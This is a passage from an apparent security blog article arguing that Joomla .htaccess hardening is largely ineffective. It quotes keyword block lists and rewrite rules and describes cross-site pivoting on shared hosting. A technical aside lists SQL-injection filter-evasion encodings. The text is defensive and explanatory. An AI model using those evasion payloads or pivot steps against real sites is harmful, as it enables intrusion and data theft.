&lt;p&gt;The consequence is brutally simple. Whoever compromises the &lt;em&gt;weakest&lt;/em&gt; site in that account very often gets read and write access to &lt;em&gt;all&lt;/em&gt; of them, because to the operating system they are all just files owned by the same user. The attacker who cannot find a bug in your fully patched, carefully hardened live Joomla does not sit there hammering it. He enumerates the account, finds &lt;code&gt;dev.yoursite.com&lt;/code&gt; running a three-year-old Joomla with a known unauthenticated RCE and &lt;code&gt;test&lt;/code&gt;/&lt;code&gt;test&lt;/code&gt; credentials, pops it in seconds, and from that foothold reads your live site’s &lt;code&gt;configuration.php&lt;/code&gt;, connects to the very same database, writes a shell into your live document root, or just inserts himself an administrator row. Every &lt;code&gt;.htaccess&lt;/code&gt; rule on your live site is beside the point, because he never sent a single HTTP request to your live site at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: one Unix user, every site&lt;/p&gt;&lt;p&gt;On typical shared hosting, all of an account’s sites run as a single Unix user, often through one PHP-FPM pool, with &lt;code&gt;open_basedir&lt;/code&gt; either unset or scoped to the whole account rather than per-vhost. So PHP running on the compromised dev site can &lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;include()&lt;/code&gt; and &lt;code&gt;unlink()&lt;/code&gt; files belonging to the live site, because at the OS level they are all the same user’s files. The live site’s &lt;code&gt;configuration.php&lt;/code&gt; is readable to that user by necessity, so its database name, user and password are one &lt;code&gt;file_get_contents()&lt;/code&gt; away, and the database is usually reachable from any site in the account.&lt;/p&gt;&lt;p&gt;No web request is ever made to the live site, so no rule in its &lt;code&gt;.htaccess&lt;/code&gt;, restrictive or not, is ever consulted. Real isolation has to happen at the hosting layer, with separate users per site, per-site PHP pools, and CageFS-style jails. That is not something any &lt;code&gt;.htaccess&lt;/code&gt; can provide, and no default Joomla ships can create it.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;This bites hardest with development sites, and they deserve singling out, because the pattern is so reliable it is close to a law. A dev site should never share a webspace with a live one. It always goes the same way. The dev copy is spun up in a hurry, it does its job, and then it is abandoned. No one updates it, because it is “only a test site” and keeping it patched was never anybody’s job. It falls out of date. It turns vulnerable. And because it is sitting in a folder called &lt;code&gt;dev&lt;/code&gt;, or &lt;code&gt;new&lt;/code&gt;, or &lt;code&gt;old&lt;/code&gt;, or &lt;code&gt;staging&lt;/code&gt;, or &lt;code&gt;test&lt;/code&gt;, an attacker’s scanner finds it without needing any cleverness whatsoever, since those are the first names on the list it was going to try anyway. Then it is brute force against &lt;code&gt;test&lt;/code&gt;/&lt;code&gt;test&lt;/code&gt;, or a vulnerability disclosed last month that this copy will never be given the patch for, and they are in. Not in the dev site. In the webspace, and your live site is in the webspace.&lt;/p&gt;
&lt;p&gt;I have watched this at scale, and the scale is the part people will not believe until it happens to them. Some GoDaddy Reseller plans pack hundreds of sites into a single account, which is to say a single shared webspace. In one case, one old and vulnerable site led to more than a hundred sites being hacked at once. Every file was infected with a different hacker string, so there was no pattern to match and no find-and-replace that would clean it. And the cleanup was not just hard, it was impossible in place: not one of those sites could be cleaned until each had been moved into its own isolated webspace first, because anything cleaned would be reinfected within minutes by the compromised sites still sitting beside it. The infection was in the space, not in a site.&lt;/p&gt;
&lt;p&gt;So the best practice here is one line long, and it is not a rewrite rule. Give every site its own isolated webspace: one site, one account, one Unix user, one &lt;code&gt;public_html&lt;/code&gt;. It costs more than cramming a dozen sites into the plan you are already paying for, and it is worth every penny, because it is the difference between “hack one, hack all” and “hack one, hack one”.&lt;/p&gt;
&lt;p&gt;A default &lt;code&gt;.htaccess&lt;/code&gt; that restricts entry points does absolutely nothing about this, and it cannot, because the attack never touches your site’s entry points. This is exactly why we care so much about knowing the version and patch state of &lt;em&gt;every&lt;/em&gt; site in an account, not just the flagship one. The abandoned, unmonitored, unpatched site is not a low-priority afterthought to clean up later. It is very often the actual front door, standing wide open, while you are busy polishing the locks on a door no one is even trying.&lt;/p&gt;
&lt;h2&gt;Who decided viagra was a dangerous word?&lt;/h2&gt;
&lt;p&gt;Here is where the theatre becomes impossible to unsee. Joomla’s own &lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot;&gt;htaccess security examples&lt;/a&gt; documentation still recommends a “Basic antispam Filter” that forbids any request whose query string contains a hardcoded list of pharmaceutical and drug words:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;########## Begin - Basic antispam Filter, by SigSiu.net&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;## This code uses PCRE and works only with Apache 2.x.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{QUERY_STRING}&lt;/span&gt;&lt;span&gt; \b(ambien|blue\spill|cialis|cocaine|erectile)\b&lt;/span&gt;&lt;span&gt; [NC,OR]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{QUERY_STRING}&lt;/span&gt;&lt;span&gt; \b(erections|hoodia|impotence|levitra|libido)\b&lt;/span&gt;&lt;span&gt; [NC,OR]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{QUERY_STRING}&lt;/span&gt;&lt;span&gt; \b(lipitor|phentermin|tramadol|ultram|valium)\b&lt;/span&gt;&lt;span&gt; [NC,OR]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{QUERY_STRING}&lt;/span&gt;&lt;span&gt; \b(viagra|vicodin|xanax|huronriveracres|troyhamby)\b&lt;/span&gt;&lt;span&gt; [NC]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; .*&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;########## End - Basic antispam Filter&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;[F]&lt;/code&gt; means forbidden. Any request whose query string trips one of those words gets a 403, no page, no explanation. Now ask the obvious question that no one who pasted this rule ever seems to ask. What if your site &lt;em&gt;is&lt;/em&gt; a pharmacy? A men’s-health clinic? A GP surgery whose article search passes the query as &lt;code&gt;?q=erectile+dysfunction&lt;/code&gt;? A sexual-health charity? An addiction-recovery service whose visitors are literally searching for “valium”, “xanax” and “tramadol” because those are the things they are trying to stop? Every one of those sites now serves 403 errors on legitimate searches, and the owner has no idea why, because no one reads the &lt;code&gt;.htaccess&lt;/code&gt; they pasted in three years ago, and a 403 on a search result is exactly the kind of intermittent failure that never gets diagnosed.&lt;/p&gt;
&lt;p&gt;So ask the deeper question. Why does the Joomla project get to decide, by default, which words your visitors are allowed to type into a search box on your own website? No one voted for that. It is a values judgement about content, baked into a security file, shipped to everyone. And then look closer at the list, because it gives the game away. &lt;code&gt;huronriveracres&lt;/code&gt;, &lt;code&gt;troyhamby&lt;/code&gt;, &lt;code&gt;sandyauer&lt;/code&gt;, &lt;code&gt;ypxaieo&lt;/code&gt;, &lt;code&gt;unicauca&lt;/code&gt;: those are fossilised referrer-spam and comment-spam tokens from mid-2000s blocklists rather than drug words, from the MT-Blacklist and referrer-spam era, the same corpus that circulated in things like the old “Ultimate htaccess Blacklist”. They mean nothing today. They are in a Joomla security example in 2026 because they were copied forward, file to file, site to site, for close to twenty years by people who never questioned a single line of what they were pasting. The block even has the tell “I removed some common words, tweak to your liking”, the fingerprint of a hand-me-down list no one actually owns.&lt;/p&gt;
&lt;h3&gt;Every blocklist loses to the person you are blocking&lt;/h3&gt;
&lt;p&gt;There is a deeper problem here, and it does not stop at the pharmaceutical filter. It applies to the user-agent blocks, the bad-referrer blocks, the SQL-keyword blocks, and every other “deny these known-bad strings” rule that these hardening guides ship. &lt;strong&gt;The attacker controls the request, completely.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A blocklist can only ever contain the bad things you already know about. That is its fundamental, unfixable weakness. The instant an attacker uses a user-agent string, a query word, a referrer or a payload encoding that you did not put on your list, and doing so costs them nothing, a single character change, a different scanner, a fresh string, they sail straight through as if the rule were not there. Blocking &lt;code&gt;libwww&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;python-requests&lt;/code&gt; in your user-agent rules stops only the lazy, and the lazy simply set their user-agent to &lt;code&gt;Mozilla/5.0&lt;/code&gt; and try again. This is the security anti-pattern that has been understood for decades: you cannot enumerate all the badness in the world, you can only enumerate the tiny, stale subset you have personally heard of, which means a deny-list is permanently one step behind whoever it is pointed at.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: why a regex blocklist never holds&lt;/p&gt;&lt;p&gt;Take a filter that blocks the string &lt;code&gt;union select&lt;/code&gt;. The attacker sends &lt;code&gt;uni%6fn%20sel%65ct&lt;/code&gt; (URL-encoded), or &lt;code&gt;union/**/select&lt;/code&gt; (an inline SQL comment splitting the keyword), or &lt;code&gt;UnIoN SeLeCt&lt;/code&gt; (case variation), or double-URL-encodes it so your rule sees a harmless &lt;code&gt;%2575nion&lt;/code&gt; that Apache only decodes to &lt;code&gt;union&lt;/code&gt; after your &lt;code&gt;RewriteCond&lt;/code&gt; has already passed it, or splits the payload across two request parameters your single-line regex was never going to join up.&lt;/p&gt;&lt;p&gt;The same is true of user-agent and referrer blocks: those are attacker-supplied strings, changed with a one-line header edit. A blocklist is, at best, a list of the disguises you have already seen someone wear. The attacker’s entire job is to turn up in one you haven’t, and there are infinitely many of those.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;And it fails in both directions at once, which is the worst possible outcome. It never stops a competent attacker, because they just pick a string that is not on your list. And it &lt;em&gt;does&lt;/em&gt; keep blocking your real visitors, your real customers, your real search traffic, because they occasionally trip a fossilised entry that no one remembers adding and no one dares remove. No security benefit against anyone who is actually trying, plus a permanent trickle of broken legitimate traffic and mystery 403s. If you are going to control access at all, you allow-list what is known-good, or better still you fix the code so it does not matter what the input is. You do not play whack-a-mole with a list of bad words and call it hardening.&lt;/p&gt;
&lt;h2&gt;Burning CPU to block a threat PHP deleted in 2013&lt;/h2&gt;
&lt;p&gt;The same Joomla documentation ships a rule to “Disallow PHP Easter Eggs”, complete with references for further reading:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;## Disallow PHP Easter Eggs (fingerprinting the PHP version).&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;## See http://www.0php.com/php_easter_egg.php and http://osvdb.org/12184&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{QUERY_STRING}&lt;/span&gt;&lt;span&gt; \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}&lt;/span&gt;&lt;span&gt; [NC]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; .*&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PHP Easter eggs were the magic GUID query strings, like &lt;code&gt;?=PHPE9568F34-D428-11d2-A769-00AA001ACF42&lt;/code&gt;, that made old PHP versions echo back a hidden logo or the credits page, which a scanner could use to fingerprint the exact PHP version. There are three separate things wrong with still defending against them in 2026, and together they make this rule a small monument to how &lt;code&gt;.htaccess&lt;/code&gt; hardening actually ages.&lt;/p&gt;
&lt;p&gt;First, the threat no longer exists. PHP removed the Easter eggs entirely in &lt;strong&gt;PHP 5.5, released on 20 June 2013&lt;/strong&gt;. The magic GUIDs “no longer have any special functionality” from that release onward. Joomla 4 requires PHP 7.2.5 as an absolute floor, and Joomla 5 and 6 require PHP 8.x. There is no PHP version that any supported Joomla can even run on that still has the feature this rule is guarding against. It is a regular expression evaluated against the query string of every single request, forever, to defend against something that was deleted from the language more than a decade ago.&lt;/p&gt;
&lt;p&gt;Second, even back when the Easter eggs were real, a rewrite rule was never the right fix. The correct mitigation was, and is, one line in &lt;code&gt;php.ini&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;expose_php&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; Off&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That single directive suppresses the Easter-egg GUIDs &lt;em&gt;and&lt;/em&gt; the &lt;code&gt;X-Powered-By: PHP/8.x&lt;/code&gt; response header, at the engine layer, once, with zero per-request cost. It is a server-layer concern, and it belongs in server-layer configuration, not in a per-request regular expression at the back of the stack. The &lt;code&gt;.htaccess&lt;/code&gt; version does a worse version of the same job, more expensively, on every hit, and only covers the GUID half while leaving the &lt;code&gt;X-Powered-By&lt;/code&gt; header it was worried about untouched.&lt;/p&gt;
&lt;p&gt;Third, the rule’s own references are dead. It points you at &lt;code&gt;osvdb.org/12184&lt;/code&gt; for more information, and OSVDB, the Open Sourced Vulnerability Database, shut down permanently on 5 April 2016. The other reference, &lt;code&gt;0php.com&lt;/code&gt;, is a long-defunct mid-2000s site. So here is a rule, shipped in current Joomla documentation, that mitigates a class of bug PHP deleted 13 years ago, at the wrong layer, citing two reference sites that no longer exist. That is what an awful lot of &lt;code&gt;.htaccess&lt;/code&gt; hardening amounts to, and it is no outlier: a pile of rules no one understands, guarding threats that are gone, copied between sites by people who assume that more rules must mean more safety.&lt;/p&gt;
&lt;p&gt;And every one of those dead rules has a running cost. Apache’s &lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;own documentation&lt;/a&gt; is blunt about it: when &lt;code&gt;.htaccess&lt;/code&gt; is enabled, “httpd will look in every directory for &lt;code&gt;.htaccess&lt;/code&gt; files”, and it does so “whether or not you actually even use them”. Worse, it walks the &lt;em&gt;entire&lt;/em&gt; directory tree to assemble the rules: a request under &lt;code&gt;/www/htdocs/example/&lt;/code&gt; forces Apache to look for &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;/www/&lt;/code&gt;, &lt;code&gt;/www/htdocs/&lt;/code&gt; and &lt;code&gt;/www/htdocs/example/&lt;/code&gt;, “4 additional file-system accesses, even if none of those files are present”, on every single request. More rules, in more files, deeper trees, is slower and occasionally less secure, not more.&lt;/p&gt;
&lt;h2&gt;What Joomla actually ships, and why no one reads it&lt;/h2&gt;
&lt;p&gt;To be fair to Joomla, it does try, and the effort is not the problem. The problem is that the effort reaches no one, because the thing it produces is unreadable to almost everyone who receives it.&lt;/p&gt;
&lt;p&gt;Joomla ships a preconfigured &lt;code&gt;htaccess.txt&lt;/code&gt; in the site root, which you have to manually rename to &lt;code&gt;.htaccess&lt;/code&gt;, and which only starts working once you switch on SEF URLs in Global Configuration, so it is not even active on a default install. In current Joomla that file runs to over 150 lines: mod_rewrite exploit-prevention rules, a custom redirect section, the SEF URL rules for both the API and the front end, GZIP and Brotli compression, and content-type and SVG security headers. The documentation warns you, in bold, not to edit &lt;code&gt;htaccess.txt&lt;/code&gt; directly, because a Joomla update will overwrite it and discard whatever you changed without telling you. There is a post-installation message announcing new &lt;code&gt;.htaccess&lt;/code&gt; features, with advice that, in practice, almost no one follows, because a 150-line &lt;code&gt;.htaccess&lt;/code&gt; is regex wizardry that only a small minority of Joomla users can actually read, let alone safely modify. The net result is a powerful, fragile file that is shipped disabled, must not be edited where it lives, and is understood by a fraction of the people who depend on it.&lt;/p&gt;
&lt;p&gt;There is also a more defensible road the proposal does not take, which is telling in itself. Joomla already ships small, tightly-scoped &lt;code&gt;.htaccess&lt;/code&gt; files inside individual folders. &lt;code&gt;libraries/.htaccess&lt;/code&gt;, for one, is three lines that simply deny direct access to that directory. That per-folder approach, a specific deny rule in the specific folder that needs it, is far sounder than one sprawling regex at the root, and yet there is no real discussion of leaning on it: of shipping targeted deny rules in the handful of writable directories that actually matter, rather than a giant front-door filter. But even the better idea hits the same wall as everything else here. Those subfolder files do nothing at all on Nginx, Caddy, or behind a cache, so on the majority of the web that is no longer plain Apache they are wasted bytes radiating the same false sense of security as the big file at the top.&lt;/p&gt;
&lt;p&gt;Akeeba’s Admin Tools is the closest anyone in the ecosystem comes to doing this properly, and it deserves credit. Its &lt;code&gt;.htaccess&lt;/code&gt; Maker gives you checkbox toggles with real documentation attached to each option, so you are choosing behaviours instead of hand-writing PCRE you do not understand. To its further credit, it does not pretend the world is only Apache: it also ships an &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/nginx-maker.html&quot;&gt;Nginx Maker&lt;/a&gt; and a &lt;code&gt;web.config&lt;/code&gt; maker. But look closely at what deploying the non-Apache versions actually takes, because it exposes the whole problem. Admin Tools’ own Nginx documentation says it in capitals: the generated config has to be manually included in your site’s server definition, and then “modifying the NginX configuration has NO EFFECT until you reload or restart the NginX server”. A site owner on shared hosting cannot reload Nginx. They have no shell, no root, no access to the server definition file. So the one server family where the average Joomla user can actually deploy the output themselves is Apache, and only because Apache re-reads &lt;code&gt;.htaccess&lt;/code&gt; on every request with no reload required, which, as we just saw, is the exact behaviour that also makes it a measurable performance drain. Do this properly across web servers and you need server-level access most Joomla users do not have. Do it the easy way and you are back to Apache alone. The best tool in the ecosystem cannot escape the fact that the format only self-deploys on one server.&lt;/p&gt;
&lt;h2&gt;Admin Tools’ HTAccessMaker is good, and still not the answer&lt;/h2&gt;
&lt;p&gt;I just called it the closest anyone comes to doing this properly, so let me make good on that, because the &lt;code&gt;.htaccess&lt;/code&gt; its &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/htaccess-maker.html&quot;&gt;HTAccessMaker&lt;/a&gt; writes is very good, and it mutes a great deal of what I have argued above. I would rather concede that openly than pretend the best version of the thing is as weak as the worst.&lt;/p&gt;
&lt;p&gt;It ships none of the fossils. No pharmaceutical blocklist, no dead Easter-egg regex, no twenty-year-old referrer-spam tokens. What you get instead is the short list of jobs a &lt;code&gt;.htaccess&lt;/code&gt; is actually good at, done cleanly and from checkboxes instead of hand-cut PCRE: force HTTPS, disable directory listings, block direct access to &lt;code&gt;configuration.php-dist&lt;/code&gt; and &lt;code&gt;htaccess.txt&lt;/code&gt;, neutralise SVG script execution, set the clickjacking, MIME and reflected-XSS headers, and restrict the administrator area by IP with proper support for reading the real visitor address back from Cloudflare, Sucuri or BunnyCDN. It previews the exact file before writing it and backs the old one up to &lt;code&gt;.htaccess.admintools&lt;/code&gt; first, which defuses the “one typo and the whole site 500s” objection better than anything else in the ecosystem.&lt;/p&gt;
&lt;p&gt;And here is the detail that should settle the argument instead of softening it: Akeeba is honest about the limits in its own documentation. Of the user-agent blocklist it ships, the docs say in capitals that it “IS NOT A SECURITY FEATURE”, because the client controls that header, which is exactly the point I made earlier about every blocklist. When the best tool in the space tells you, in its own manual, that a chunk of what people treat as hardening is not security, this article is echoing the vendor’s own words.&lt;/p&gt;
&lt;p&gt;So use it. If you have Admin Tools Professional, its HTAccessMaker is the right way to do the narrow jobs, and I would far rather you ran it than hand-edited anything yourself. But notice the three things it cannot change. It is still a &lt;code&gt;.htaccess&lt;/code&gt;, so every structural limit above still applies: the file itself cannot see the SQL injection or the unauthenticated upload arriving through &lt;code&gt;index.php&lt;/code&gt; (Admin Tools’ separate web application firewall can and does detect and block a SQL injection at runtime when you have that feature switched on, but that is the PHP WAF earning the credit, not the &lt;code&gt;.htaccess&lt;/code&gt; it also generates, the exact distinction I drew earlier), it runs on Apache alone, and a deeper &lt;code&gt;.htaccess&lt;/code&gt; dropped into your uploads folder still out-nests it. It is a commercial product, a paid Professional feature that the free edition and every non-Apache site never get. And it is only ever as good as the administrator ticking the boxes, which is the quiet catch in any checkbox tool: it can express a decision safely, but it cannot make the decision for you or understand your server on your behalf. Akeeba says as much, warning that depending on your server settings some options “may be incompatible with your site”, and when they are you get “a blank page or an Internal Server Error 500 error page” on every request. Some options assume Apache modules that are not always switched on: a prepackaged stack like WAMPServer ships with &lt;code&gt;mod_rewrite&lt;/code&gt; off by default, and a rule that needs it will 500 the whole site until someone works out why. The preview, the backup and the delete-it-over-FTP escape hatch all exist because a wrong choice takes the site down.&lt;/p&gt;
&lt;p&gt;A superb &lt;code&gt;.htaccess&lt;/code&gt; is still a &lt;code&gt;.htaccess&lt;/code&gt;. HTAccessMaker makes the narrow layer about as good as the narrow layer can be. It does not turn it into a different layer.&lt;/p&gt;
&lt;h2&gt;Why Joomla code needs direct PHP access&lt;/h2&gt;
&lt;p&gt;The flip side of “only approved entry points may run” is that a great deal of legitimate software has a real, designed need for direct PHP access somewhere in the webspace, and locking that down by default breaks working sites and working tools.&lt;/p&gt;
&lt;p&gt;Start with the assumption the whole proposal rests on: that a webspace is a Joomla-only place. In the real world it almost never is. An agency runs all sorts of things inside one account: a Joomla site, a couple of WordPress installs, a static microsite, a standalone PHP form handler, a scheduled script, an old bespoke app no one has touched in years. The account is reused for many purposes and Joomla is only one tenant in it. A default that treats every &lt;code&gt;.php&lt;/code&gt; file in the space as either Joomla’s or an attacker’s is being narrow-visioned about how these servers actually get used, and it breaks the neighbours it was never entitled to make assumptions about in the first place.&lt;/p&gt;
&lt;p&gt;The Joomla project does not have to look far for examples, because its own ecosystem is full of them, which is why the counter-examples in that entry-point discussion came from the most respected developers in the community, not from cowboys. We already met the two sharpest cases at the top of this article: Akeeba’s &lt;code&gt;kickstart.php&lt;/code&gt;, a standalone script that has to run &lt;em&gt;outside&lt;/em&gt; Joomla because it rebuilds a site where Joomla may be broken or absent, and Joomla’s own updater handing &lt;code&gt;index.php&lt;/code&gt; straight to &lt;code&gt;extract.php&lt;/code&gt; to unpack a new copy of the very software it is replacing. Those are recovery tools, not sloppy design, doing the one job you cannot route through a running Joomla, and a blanket “only approved entry points may run” rule breaks them by definition. That is the awkward truth sitting underneath the proposal: the direct-access pattern it wants to forbid is one the project itself depends on.&lt;/p&gt;
&lt;p&gt;Third-party developers hit the softer version of this constantly. Explaining to a customer that they must edit a &lt;code&gt;.htaccess&lt;/code&gt; to &lt;a href=&quot;https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/&quot;&gt;whitelist an endpoint&lt;/a&gt;, just so a plugin’s own PHP file can be reached directly, is a hard support conversation, and the framing that they must “downgrade their security” to make the plugin work is misleading and unfair. It implies the plugin is insecure, when the direct access may be a perfectly safe, intended feature of how it is built. The access is part of the design, not a hole in it, and there is a real difference between a file that is reachable and a file that is &lt;em&gt;exploitable&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tools like mySites.guru sit squarely in this category, and here the direct access is not a convenience, it is the entire point. The connector is written to be semi-independent of Joomla so that it keeps working when Joomla does not, and that independence matters most at the exact moment you need it: when the site is hacked, when it is down, when core files have been deleted, when the database is unreachable, when Joomla is throwing a fatal error on every page. An external monitor that could only ever talk to you &lt;em&gt;through&lt;/em&gt; a healthy Joomla would go blind at the precise instant Joomla broke, which is the one moment you most need eyes on the site. Direct access to its own dedicated endpoint is what lets an independent watcher stay independent of the thing it is watching. Forbid that by default and you do not make the site more secure, you blind the tools that were going to tell you it had been attacked.&lt;/p&gt;
&lt;h2&gt;.htaccess is an Apache feature, not a web standard&lt;/h2&gt;
&lt;p&gt;Step back far enough and the whole argument looks shakier still, because &lt;code&gt;.htaccess&lt;/code&gt; is an Apache implementation detail, not a standard at all, one web server’s particular way of doing per-directory configuration, and Apache is no longer how most of the web is served. Plenty of houses have no fridge to lock and no toilet door to bolt. Nginx, Caddy, Cloudflare, Node and every other server that never adopted Apache’s per-directory model are all perfectly happy homes that simply do not have the fixture you are selling a lock for, and no amount of insisting on the lock will conjure one into their kitchen.&lt;/p&gt;
&lt;p&gt;By &lt;a href=&quot;https://w3techs.com/technologies/overview/web_server&quot;&gt;W3Techs’ current figures&lt;/a&gt;, both Nginx and Cloudflare now sit above Apache in web-server usage, with LiteSpeed close behind. Roughly three quarters of the web is not “plain Apache reading your &lt;code&gt;.htaccess&lt;/code&gt; on every request”, and of the major players:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nginx&lt;/strong&gt; does not read &lt;code&gt;.htaccess&lt;/code&gt; at all, and this is by design, not an oversight. Its own documentation states that &lt;a href=&quot;https://blog.nginx.org/blog/converting-apache-to-nginx-rewrite-rules&quot;&gt;Nginx does not support per-directory configuration files&lt;/a&gt;, so every rule has to be converted into central configuration that is loaded once, not re-read from the filesystem on every request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt; sits in front of your origin entirely, and is configured at the edge through its own rules engine. It has never heard of your &lt;code&gt;.htaccess&lt;/code&gt; and never will.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caddy&lt;/strong&gt; serves automatic HTTPS and HTTP/2 out of the box from a single central Caddyfile, with no per-directory model. Its maintainers have &lt;a href=&quot;https://github.com/caddyserver/caddy/issues/4091&quot;&gt;explained why they will not add &lt;code&gt;.htaccess&lt;/code&gt; support&lt;/a&gt;: it would mean building an Apache configuration parser in Go, recursively scanning directories for these files on every request, and running dynamic handlers based on their contents, all of which runs directly counter to how a modern, performant server is designed. It is not a small ask and it is not on the roadmap.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LiteSpeed&lt;/strong&gt; does read &lt;code&gt;.htaccess&lt;/code&gt;, and this is the one that confuses people into thinking the format is a standard. It is not. LiteSpeed chose to honour Apache’s rewrite rules as a compatibility convenience, to make migration off Apache painless. Those are still Apache configuration files being tolerated by a different server, not a neutral cross-server standard that everyone agreed to implement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IIS&lt;/strong&gt; uses &lt;code&gt;web.config&lt;/code&gt;, which Joomla ships as &lt;code&gt;web.config.txt&lt;/code&gt;, and which, by the Joomla team’s own admission, has weaker settings and lags behind the &lt;code&gt;.htaccess&lt;/code&gt; rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And even that asterisk on LiteSpeed needs an asterisk of its own. LiteSpeed Enterprise does re-implement Apache’s rewrite engine and honours a good deal of a &lt;code&gt;.htaccess&lt;/code&gt;: rewrite rules, headers, expiry, basic auth, &lt;code&gt;php_value&lt;/code&gt;, re-read from the file per request much as Apache does it. But &lt;a href=&quot;https://stackharbor.com/en/knowledge-base/litespeed-htaccess-compatibility/&quot;&gt;the compatibility is partial, and worse, it fails with no error&lt;/a&gt;. Per-directory &lt;code&gt;mod_security&lt;/code&gt; rules are ignored, &lt;code&gt;mod_deflate&lt;/code&gt; and gzip directives are dropped in favour of native vhost settings, &lt;code&gt;SetEnv&lt;/code&gt; values may never reach PHP, and a whole list of Apache modules is passed over without a word. A rule that protects you on Apache can sit in the exact same file on LiteSpeed doing nothing at all, with no error to tell you it has stopped working. The free, open-source sibling is worse still: in practice &lt;a href=&quot;https://www.litespeedtech.com/support/forum/threads/openlitespeed-wont-read-htaccess-files.17644/&quot;&gt;OpenLiteSpeed does not read &lt;code&gt;.htaccess&lt;/code&gt; files at all&lt;/a&gt;, treating that as an Enterprise-only feature, while its admin panel cheerfully offers &lt;code&gt;.htaccess&lt;/code&gt; options that produce no result, so your rewrites have to be hand-configured as static contexts or they simply never run. “LiteSpeed supports &lt;code&gt;.htaccess&lt;/code&gt;” turns out to mean one paid edition supports most of it and discards the rest with no error, while the free edition barely reads it. A security file whose rules half-apply depending on which build of which non-Apache server happens to be underneath is the exact opposite of a control you can rely on.&lt;/p&gt;
&lt;p&gt;That is the point people miss when they treat the &lt;code&gt;.htaccess&lt;/code&gt; as “the security file”. More than one server tolerating a format does not promote it to a standard; it just means Apache’s format leaked into a couple of neighbours. Anything you build on top of it is, by definition, Apache-specific, and increasingly a minority case.&lt;/p&gt;
&lt;p&gt;WordPress, for comparison, powers an enormous share of the web on a default &lt;code&gt;.htaccess&lt;/code&gt; of just seven rules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# BEGIN WordPress&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteEngine&lt;/span&gt;&lt;span&gt; On&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; .*&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteBase&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^index\.php$&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [L]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; !-f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; !-d&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; /index.php&lt;/span&gt;&lt;span&gt; [L]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# END WordPress&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
